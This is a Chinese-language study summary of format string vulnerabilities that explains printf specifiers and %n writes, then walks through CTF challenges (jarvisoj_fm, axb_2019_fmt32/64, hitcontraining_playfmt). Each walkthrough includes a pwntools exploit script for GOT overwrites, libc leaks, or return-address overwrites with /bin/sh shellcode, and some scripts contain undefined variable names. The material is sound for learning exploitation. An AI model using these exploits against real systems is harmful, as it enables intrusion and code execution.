0%

格式化字符串漏洞学习总结

前置知识

printf中的格式控制符

​ 格式控制符告诉函数如何解析和处理传递给它们的参数。如果printf中的格式控制符没有对应的参数,那么将会泄漏内存中的数据。一个%可以解析一个参数,也就是对应一个参数。

  • %c:以字符形式输出

  • %d:以十进制整数形式输出

  • %x:以十六进制形式输出,%7$x表示输出参数列表中的第七个参数

  • %p:以十六进制形式输出,并加上前缀0x

  • %n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置。

    • %n:写入的地址空间为4个字节
    • %hn:写入的地址空间为2个字节
    • %hhn:写入的地址空间为1个字节
    • %lln:写入的地址空间为8个字节

pwntools中的fmtstr_paylod

fmtstr_payloadpwntools中的一个函数,其函数原型如下:

from pwn import *

payload = fmtstr_payload(offset,writes,numbwritten,write_size)
#offset是格式化字符串漏洞的偏移量
#writes是一个字典,用于指定要写入的值和地址,结构如下
write={
addr_1:value_1,
addr_2:value_2,
...
}
#numbwritten参数表示前面已经写入的字节数
#write_size参数表示写入的字节大小,默认为'byte'

非栈上的格式化字符串漏洞

​ 我们通常所说的在栈上的格式化字符串漏洞的意思就是我们可以直接把数据写到栈上,然后对栈上的数据进行一系列的攻击。如A是栈上的一个地址,B是我们要写到A里的printfgot表值,那么现在就是A -> B -> CCprintf函数的plt表值。然后我们可以修改B这个地址中的内容即C,改成后门函数的地址。而非栈上的格式化字符串漏洞就是我们不能直接把B写到栈上,但是依然可以泄漏和修改栈中的地址等数据。如果我们不能直接把B写到栈上,我们可以先在栈上找到D -> E -> FF修改成B就变成了D -> E -> B,但是我们最后的目的是修改B指向的地址,所以说这里的E必须是与AD一样的栈地址,那么E -> F就变成了E -> B -> C,又回到了栈上。

例题

jarvisoj_fm

​ 先看主函数,直接给我们system("/bin/sh"),当x == 4的时候才能执行这个函数。我们看到第10行有个printf(buf)再结合第9行,不难知道这是一个格式化字符串漏洞。那我们就可以利用这个漏洞把x写成4,就可以拿到shell

image-20240131182232759

​ 先计算偏移量,偏移量为11,然后构造payload。我们要写入的内容是4,巧的是我们要写入的地址也是4个字节,所以我们直接发送地址就可以写了,payload = p32(value_addr)+b'%11$n'

exp

from pwn import *
#from tools import *
p = process('./fm')
context(arch='i386',log_level='debug',os='linux')
#debug(p)

value_addr = 0x0804a02c
payload = p32(value_addr)+b'%11$n'
p.sendline(payload)

p.interactive()

axb_2019_fmt32

image-20240129124847881

​ 我们看到read函数,可以读入0x100(256)个字节,而s的长度为257,因此没有办法溢出。继续往下看,printf(format)这一行明显存在格式化字符串漏洞,程序中也没有system函数和/bin/sh字符串。那大概思路就是利用格式化字符串漏洞泄漏printf的地址(本来我想修改readgot表值的,但是后来才相等修改后就相当于程序中没有read函数了,这样肯定是不行的),算出libc基地址以及system函数地址。

​ 怎么泄漏printf的地址呢?本题中我们通过read函数将输入的内容写到s中,而s又是printf函数的参数,因此我们可以利用格式化字符串漏洞去泄漏栈上的内容,因此可以先把printfgot表中值写到栈上,再去泄漏程序运行起来后printfgot表中的地址即printf的真实地址。这就需要计算我们写入的内容在栈上的位置的偏移量,输入aaaa %p %p %p %p %p %p %p %p %p %p %p得到输出的内容数一下偏移量为8

image-20240129132814049

​ 不过我们也发现了0x20616161中只有3a,是因为format中还有Repeater:这些字符的原因,所以我们尝试着再输入Aaaaa %p %p %p %p %p %p %p %p,发现0x61616161刚好就是aaaa

image-20240129140029043

​ 得到偏移量后可以开始构造第一个payload泄漏printf地址了,如下:

p.recvuntil(b'me:')
printf_got = elf.got['printf']
payload = b'A'+p32(printf_got)+b'bbbb'+b'%8$s'
p.sendline(payload)
p.recvuntil(b'bbbb')
printf_addr = u32(p.recv(4))
print(hex(printf_addr))

​ 得到printf真实地址后,可以计算libc基地址以及system函数的地址,并把printfgot表值改成system函数的地址,这样再次传入参数 '/bin/sh' 再执行printf时,由于将got表给修改了,就相当于执行了system 函数 即:执行system('/bin/sh')。这也解释了为什么刚开始我改puts函数的got表不行,因为就算把putsgot表的值改成system函数的got表值,我们后面也不会再执行puts函数,也就执行不了system函数。

法一

​ 题目如果是32位的程序,可以用pwntools中的fmtstr_payload函数直接修改地址,如下:

base_addr = printf_addr-libc.sym['printf']
sys_addr = base_addr+libc.sym['system']
payload = b'A'+fmtstr_payload(8,{printf_got:sys_addr},numbwritten=0xa,write_size='byte')

exp

from pwn import *
#p = process("./axb")
p = remote("node5.buuoj.cn",26252)
elf = ELF("./axb")
libc = ELF('./libc-2.23.so')

p.recvuntil(b'me:')
printf_got = elf.got['printf']
payload = b'A'+p32(printf_got)+b'bbbb'+b'%8$s'
p.sendline(payload)
p.recvuntil(b'bbbb')
printf_addr = u32(p.recv(4))
#print(hex(printf_addr))

base_addr = printf_addr-libc.sym['printf']
sys_addr = base_addr+libc.sym['system']
payload = b'A'+fmtstr_payload(8,{printf_got:sys_addr},numbwritten=0xa,write_size='byte')
p.sendline(payload)

p.sendline(b';/bin/sh\x00')

p.interactive()

拿到flag

image-20240129144017329

法二

一个字节一个字节的修改,这个方法对32位和64位的都适用。

​ 先把两个地址打印出来,发现四个字节中只有最高字节f7是一样的,我们们需要修改后3个字节,也就是需要这样修改e3 --> e210 --> 2920 --> 40(当然地址是不确定的,肯定不能直接改数字)。

print('printf_addr =>',hex(printf_addr))
print('sys_addr =>',hex(sys_addr))

image-20240130161627843

​ 虽然每次地址都会变化,但是我们可以把每次的地址表示出来。sys_addr&0xffsys_addr0xff进行按位与运算,得到的结果把sys_addr的低8位(81个字节)保留下来了,高位被全部置零。sys_addr&0xff00sys_addr二进制形式的第916位保存下来了,其他位全部置零举个例子就是11111111 11111111 11111111变成了00000000 11111111 00000000>>8是再将结果右移8位即00000000 11111111 00000000变成了00000000 11111111(sys_addr&0xff00)>>8就是把sys_addr的倒数第二个字节保留下来了。

sys_addr1 = sys_addr&0xff
sys_addr2 = (sys_addr&0xff00)>>8
sys_addr3 = (sys_addr&0xff0000)>>16
print('sys_addr1 =>',hex(sys_addr1))
print('sys_addr2 =>',hex(sys_addr2))
print('sys_addr3 =>',hex(sys_addr3))
image-20240130175341704

​ 然后下面这一步中sys_addr1-(9+13)减的是printf中前面参数字节的总和,程序中的Repeater:9个字节,payload2 = b'a'+p32(strlen_got)+p32(strlen_got+1)+p32(strlen_dot+2)一共13个字节。(其实为什么要这样我也不知道)

sys_addr1_value = sys_addr1-(9+13) # 前面已经输出了0xa+0x10个字符,要减去
result = sys_addr2-sys_addr1
sys_addr2_value = result if result>0 else result+0x100 # 假如倒数第二个字节本身比倒数第一个字节小,那倒数第二个字节+0x100,这样才可以写入正确字节
result = sys_addr3-sys_addr2
sys_addr3_value = result if result>0 else result+0x100 # 同理

result = system_addr_4-system_addr_3
system_addr_4_value = result if result>0 else result+0x100 # 同理

​ 最后构造payload2bytes(str(sys_addr1_value),encoding='utf-8')的意思是把sys_addr1-value转换为字节串bytes类型。%hhn是修改低1个字节,printf_got+1会把printf_got的倒数第二个字节变成倒数第一个,然后就可以修改低2个字节了。

payload2 = b'a'+p32(printf_got)+p32(printf_got+1)+p32(printf_got+2)
payload2 += b'%'+bytes(str(sys_addr1_value),encoding='utf-8')+b'c'+b'%8$hhn'
payload2 += b'%'+bytes(str(sys_addr2_value),encoding='utf-8')+b'c'+b'%9$hhn'
payload2 += b'%'+bytes(str(sys_addr3_value),encoding='utf-8')+b'c'+b'%10$hhn'

exp

from pwn import *
#p = process("./axb")
p = remote("node5.buuoj.cn",26252)
elf = ELF("./axb")
libc = ELF('./libc-2.23.so')

p.recvuntil(b'me:')
printf_got = elf.got['printf']
payload = b'A'+p32(printf_got)+b'bbbb'+b'%8$s'
p.sendline(payload)
p.recvuntil(b'bbbb')
printf_addr = u32(p.recv(4))

base_addr = printf_addr-libc.sym['printf']
sys_addr = base_addr+libc.sym['system']
print('printf_addr =>',hex(printf_addr))
print('sys_addr =>',hex(sys_addr))

sys_addr1 = sys_addr&0xff
sys_addr2 = (sys_addr&0xff00)>>8
sys_addr3 = (sys_addr&0xff0000)>>16
print('sys_addr1 =>',hex(sys_addr1))
print('sys_addr2 =>',hex(sys_addr2))
print('sys_addr3 =>',hex(sys_addr3))
sys_addr1_value = sys_addr1-(9+13) # 前面已经输出了0xa+0x10个字符,要减去
result = sys_addr2-sys_addr1
sys_addr2_value = result if result>0 else result+0x100 # 假如倒数第二个字节本身比倒数第一个字节小,那倒数第二个字节+0x100,这样才可以写入正确字节
result = sys_addr3-sys_addr2
sys_addr3_value = result if result>0 else result+0x100

payload2 = b'a'+p32(printf_got)+p32(printf_got+1)+p32(printf_got+2)
payload2 += b'%'+bytes(str(sys_addr1_value),encoding='utf-8')+b'c'+b'%8$hhn'
payload2 += b'%'+bytes(str(sys_addr2_value),encoding='utf-8')+b'c'+b'%9$hhn'
payload2 += b'%'+bytes(str(sys_addr3_value),encoding='utf-8')+b'c'+b'%10$hhn'

p.sendline(payload2)
payload3 = b';/bin/sh\x00'
p.sendline(payload3)
p.interactive()

拿到flag

image-20240130173634524

axb_2019_fmt64

源码

image-20240130200837648

思路

​ 第一步,计算偏移量为8

image-20240130130959078

​ 到了与32位程序不一样的地方了,泄漏地址这里如果是按照32的写成payload = p64(puts)+b'%8$saaaa',然后我们看到发送的数据在puts_got%8$s之间有很多'00',字符串中的'00'就代表结束,所以在printf'00'的时候就以为字符串后面没有内容了,后面的内容也就不会被printf了。

屏幕截图 2024-01-30 185641

​ 因此我们现在要换个写法构造payloadpayload = b'%9$saaaa'+p64(puts_got)这样我们可以看到'00'就在后面了,有用的字符串也就不会再被截断了。9是因为现在p64(puts_got)变成了第2个参数了。

屏幕截图 2024-01-30 191730

​ 刚开始我泄漏的是printf函数的got表值,但是不知道为什么一直不成功,后来看别的师傅的wp泄漏的都是puts函数就可以,后来我用read,strlen这些函数都可以。然后我发现puts函数发送的是0x601018(重定位前),接收的是0x7fd7f1458690(重定位后)

屏幕截图 2024-01-30 184334

​ 而printf函数发送的与接收的一样都是0x601030,也就是说并没有泄漏出printf重定位后的got表值,所以就不能泄漏printfgot表值

屏幕截图 2024-01-30 184858

payload1 = b'%9$saaaa'+p64(puts_got)
p.sendlineafter(b'Please tell me:',payload1)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
base_addr = puts_addr-libc.sym['puts']
sys_addr = base_addr+libc.sym['system']
strlen_addr = base_addr+libc.sym['strlen']
print('system_add =>',hex(sys_addr))
print('strlen_add =>',hex(strlen_addr))

​ 打印出来他们的地址,发现只有后3个字节不一样,我们只需要修改后3个字节即可

image-20240130193456108

​ 同32位,分别表示出这3个字节

sys_addr1 = system_addr&0xff
sys_addr2 = (system_addr&0xff00)>>8
sys_addr3 = (system_addr&0xff0000)>>16
print('sys1 =>',hex(sysaddr1))
print('sys2 =>',hex(sysaddr2))
print('sys3 =>',hex(sysaddr3))
#9是输出的“Repeater:”的字符数
sys_addr1_value = sys_addr1-9
result = sys_addr2-sys_addr1
sys_addr2_value=result if result>0 else result+0x100
result = sys_addr3-sys_addr2
sys_addr3_value=result if result>0 else result+0x100

​ 构造第二个payload的时候同样不能和32位的题一样了,payload2 = b'%'+bytes(str(sysaddr1_value),encoding='utf-8')+b'c'+b'%13$hhn' 的意思是将sys_addr1_value的值作为字符写入到第13个参数所指向的内存地址中,%hhn是只修改1个字符的意思。

payload2 = b'%'+bytes(str(sys_addr1_value),encoding='utf-8')+b'c'+b'%13$hhn' 
#将会使用格式化字符串漏洞将sysaddr1_value的值作为字符写入到第13个参数所指向的内存地址中。
payload2 += b'%'+bytes(str(sys_addr2_value),encoding='utf-8')+b'c'+b'%14$hhn'
payload2 += b'%'+bytes(str(sys_addr3_value),encoding='utf-8')+b'c'+b'%15$hhn'
payload2 = payload2.ljust(40,b'a') #意思是把payload填充到8的整数倍,由于是64位的栈上的地址或者数据都是8个字节的,也就是说8个字节占一个参数位,这里是5倍也就是5个参数,第一个参数的偏移量是8,9,10,11,12
payload2 += p64(strlen_got)+p64(strlen_got+1)+p64(strlen_got+2)
# 第13个参数 第14个参数 第15个参数
#综上所述,当对目标地址加一(进行偏移)时,读取到的真实地址就也在变化,这样,我们就可以确定真实地址的每一位所在的位置了

exp

from pwn import *
#context(log_level='debug',arch='amd64')
#p = process("./fmt64")
p = remote("node5.buuoj.cn",26762)
elf = ELF('./fmt64')
libc = ELF('./libc-2.23.so')
puts_got = elf.got['puts']
strlen_got = elf.got['strlen']

payload1 = b'%9$saaaa'+p64(puts_got)
p.sendlineafter(b'Please tell me:',payload1)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
base_addr = puts_addr-libc.sym['puts']
sys_addr = base_addr+libc.sym['system']
strlen_addr = base_addr+libc.sym['strlen']
print('system_add =>',hex(sys_addr))
print('strlen_add =>',hex(strlen_addr))

sys_addr1 = system_addr&0xff
sys_addr2 = (system_addr&0xff00)>>8
sys_addr3 = (system_addr&0xff0000)>>16
print('sys1 =>',hex(sys_addr1))
print('sys2 =>',hex(sys_addr2))
print('sys3 =>',hex(sys_addr3))
sys_addr1_value = sys_addr1-9
result = sys_addr2-sys_addr1
sys_addr2_value=result if result>0 else result+0x100
result = sys_addr3-sys_addr2
sys_addr3_value=result if result>0 else result+0x100

payload2 = b'%'+bytes(str(sys_addr1_value),encoding='utf-8')+b'c'+b'%13$hhn'
payload2 += b'%'+bytes(str(sys_addr2_value),encoding='utf-8')+b'c'+b'%14$hhn'
payload2 += b'%'+bytes(str(sys_addr3_value),encoding='utf-8')+b'c'+b'%15$hhn'
payload2 = payload2.ljust(40,b'a')
payload2 += p64(strlen_got)+p64(strlen_got+1)+p64(strlen_got+2)

p.sendline(payload2)
payload3 = b';/bin/sh\x00'
p.sendline(payload3)
p.interactive()

拿到flag

image-20240130195341584

hitcontraining_playfmtebp链)

保护&源码

​ 查看保护,32位程序,有RWX段我们第一时间想到用shellcode

image-20240209202319987

源码:

int do_fmt()
{
int result; // eax

while ( 1 )
{
read(0, buf, 0xC8u);
result = strncmp(buf, "quit", 4u);
if ( !result )
break;
printf(buf);
}
return result;
}

思路

​ 分析代码,printf(buf)格式化字符串漏洞,buf.bss段。大概思路就是利用格式化字符串漏洞修改函数返回地址为buf的起始地址+4(因为执行ret指令就需要跳出循环,就需要buf的前4个字节是quit),最后发送shellcode

​ 下图中ebp下面的0xffffd07c这个地址中放的是函数返回地址,我们可以把0xffffd098改成0xffffd07c,这样0xffffd088 -> 0xffffd098就变成了0xffffd088 -> 0xffffd07c -> 0x80485ad(play+77),我们也就可以修改0xffffd07c中的内容即返回地址为shellcode的首地址了。

屏幕截图 2024-02-09 202808

exp

from pwn import *
p = remote('node5.buuoj.cn',28906)

p.recvuntil(b'Server')
p.recvuntil(b'=\n')
payload = b'%6$p'
p.send(payload)
stack_addr = int(p.recv(10),16)-0x28

payload = b'%'+str((stack_addr+0x1c)&0xff).encode()+b'c%6$hhn'
payload = payload.ljust(200,b'\x00')
p.send(payload)
p.recv()

payload = b'%'+str(0xa064).encode()+b'c%10$hn'
payload = payload.ljust(200, b'\x00')
p.send(payload)
p.recv()

shellcode = asm('''
xor ecx,ecx
xor edx,edx
xor ebx,ebx
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push 11
pop eax
int 0x80
''')
payload = b'quit'+shellcode
p.send(payload)

p.interactive()

拿到flag

image-20240209212128942